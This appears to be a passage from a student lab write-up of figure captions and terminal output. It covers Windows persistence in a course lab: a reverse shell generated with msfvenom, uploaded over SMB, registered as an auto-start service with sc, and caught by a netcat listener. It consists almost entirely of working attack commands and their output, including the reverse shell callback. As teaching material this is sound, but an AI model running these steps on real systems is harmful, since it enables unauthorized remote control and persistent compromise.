

```
(root@joshlieberg)-[~]
# msfvenom -p windows/shell_reverse_tcp LHOST=44.106.44.50 LPORT=4444 -f exe -o rev_shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: rev_shell.exe
```

Figure 1: Generating a reverse shell using msfvenom

```
root@joshlieberg:~# smbclient //44.106.251.198/C$ -U CNIT471\\ExamplePersistence
Password for [CNIT471\\ExamplePersistence]:
Try "help" to get a list of possible commands.
smb: \> cd Users
smb: \Users\> cd ExamplePersistence
smb: \Users\ExamplePersistence\> put rev_shell.exe
putting file rev_shell.exe as \Users\ExamplePersistence\rev_shell.exe (529.9 kb/s) (average 529.9 kb/s)
smb: \Users\ExamplePersistence\> █
```

Figure 2: Uploading reverse shell via smbclient

```
root@joshlieberg:~# ssh ExamplePersistence@44.106.251.198
ExamplePersistence@44.106.251.198's password:
Microsoft Windows [Version 10.0.22631.4317]
(c) Microsoft Corporation. All rights reserved.
cnit471\examplepersistence@WINDOWS11ADDESK C:\Users\ExamplePersistence> █
```

Figure 3: SSH session into the target machine

```
cnit471\examplepersistence@WINDOWS11ADDESK C:\Users\ExamplePersistence>sc create revsvc binPath= ":\Users\ExamplePersistence\rev_shell.exe"
[SC] CreateService SUCCESS
cnit471\examplepersistence@WINDOWS11ADDESK C:\Users\ExamplePersistence> █
```

Figure 4: Creating the Windows service using sc create

```
cnit471\examplepersistence@WINDOWS11ADDESK C:\Users\ExamplePersistence>sc config revsvc start= auto
[SC] ChangeServiceConfig SUCCESS
cnit471\examplepersistence@WINDOWS11ADDESK C:\Users\ExamplePersistence> █
```

Figure 5: Configuring the service to auto start

```
(root@joshlieberg)-[~]
# nc -lvnp 4444
listening on [any] 4444 ...
```

Figure 6: Netcat listener running on Kali

```
cnit471\examplepersistence@WINDOWS11ADDESK C:\Users\ExamplePersistence>sc start revsvc
[SC] StartService SUCCESS
```

Figure 7: Service started

```
(root@joshlieberg)-[~]
# nc -lvnp 4444
listening on [any] 4444 ...
connect to [44.106.44.50] from (UNKNOWN) [44.106.251.198] 51086
Microsoft Windows [Version 10.0.22631.4317]
(c) Microsoft Corporation. All rights reserved.

cnit471\examplepersistence@WINDOWS11ADDESK C:\Users\ExamplePersistence>whoami
whoami
cnit471\examplepersistence

cnit471\examplepersistence@WINDOWS11ADDESK C:\Users\ExamplePersistence>ipconfig /all
ipconfig /all

Windows IP Configuration

Host Name . . . . . : Windows11ADDesktop
Primary Dns Suffix . . . . . : CNIT471.local
Node Type . . . . . : Hybrid
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
DNS Suffix Search List. . . . . : CNIT471.local

Ethernet adapter Ethernet0:

Connection-specific DNS Suffix . :
Description . . . . . : Intel(R) 82574L Gigabit Network Connection
Physical Address. . . . . : 00-50-56-91-7B-2F
DHCP Enabled. . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::9534:4b1c:85b2:113%4(Preferred)
IPv4 Address. . . . . : 44.106.251.198(Preferred)
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : fe80::5:73ff:fea0:2ef%4
                          44.106.251.1
DHCPv6 IAID . . . . . : 100683862
DHCPv6 Client DUID. . . . . : 00-01-00-01-2E-A0-85-A1-00-50-56-91-7B-2F
DNS Servers . . . . . : 44.106.251.199
NetBIOS over Tcpip. . . . . : Enabled

cnit471\examplepersistence@WINDOWS11ADDESK C:\Users\ExamplePersistence>
```

Figure 8: Reverse shell captured whoami and ipconfig /all